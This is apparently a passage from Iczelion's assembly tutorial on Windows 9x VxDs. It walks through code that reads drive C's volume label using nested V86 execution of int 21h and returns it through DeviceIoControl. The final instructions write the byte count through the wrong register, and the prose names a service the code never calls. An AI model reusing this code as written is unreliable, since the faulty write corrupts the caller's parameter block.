VMMCall Get_Sys_VM_Handle
mov Handle,ebx
assume ebx:ptr cb_s
mov ebp,[ebx+CB_Client_Pointer]
When the VxD receives W32_DeviceIoControl message, it calls Get_Sys_VM_Handle to obtain the system VM handle and store it into a variable named Handle. It next extracts the pointer to the client register structure from the VM control block into ebp.
mov ecx,sizeof MID
stc
push esi
mov esi,OFFSET32 MediaID
push ds
pop fs
VxDCall V86MMGR_Allocate_Buffer
pop esi
jc EndI
mov AllocSize,ecx
Next, it prepares the parameters to be passed to V86MMGR_Allocate_Buffer. We must initialize the allocated buffer, hence the stc instruction. We put the offset of MediaID into esi and the selector into fs then call V86MMGR_Allocate_Buffer. You'll recall that esi contains the pointer to DIOCParams so we must preserve it by push esi and pop esi.
Push_Client_State
VMMCall Begin_Nest_V86_Exec
assume ebp:ptr Client_Byte_Reg_Struc
mov [ebp].Client_ch,8
mov [ebp].Client_cl,66h
assume ebp:ptr Client_word_reg_struc
mov edx,edi
mov [ebp].Client_bx,3 ; drive C
mov [ebp].Client_ax,440dh
We prepare the values in the client register structure for the int 21h, 440Dh minor code 66h. Specifying that we want to get the media ID of drive C. We also copy the value in edi into edx (edi contains the V86 address of the memory block allocated by V86MMGR_Allocate_Buffer).
mov [ebp].Client_dx,dx
shr edx,16
mov [ebp].Client_ds,dx
Since int 21h, 440Dh, minor code 66h expects pointer to an MID structure in ds:dx, we must break the segment:offset pair in edx into two parts and put them into the corresponding register images.
mov eax,21h
VMMCall Exec_Int
VMMCall End_Nest_Exec
Pop_Client_State
When everything is ready, we call Exec_Int to simulate the interrupt.
mov ecx,AllocSize
stc
mov ebx,Handle
push esi
mov esi,OFFSET32 MediaID
push ds
pop fs
VxDCall V86MMGR_Free_Buffer
pop esi
After Exec_Int returns, the allocated buffer is filled by the information we want. The next step is to retrieve that information. We achieve that goal by calling V86MMGR_Free_Buffer. This service frees the memory block allocated by V86MMGR_Allocate_Memory and copies the data in the allocated memory block to the specified ring-0 memory block. Like V86MMGR_Allocate_Memory, if you want the copy operation, you must set the carry flag prior to calling the service.
mov edx,esi
assume edx:ptr DIOCParams
mov edi,[edx].lpvOutBuffer
mov esi,OFFSET32 MediaID.midVolLabel
mov ecx,11
rep movsb
mov byte ptr [edi],0
mov ecx,[edx].lpcbBytesReturned
mov dword ptr [edx],11
After we have the information in the ring-0 buffer, we copy the volume label to the buffer provided by the win32 application. We can access the buffer by using lpvOutBuffer member of DIOCParams.
[Iczelion's Win32 Assembly Homepage]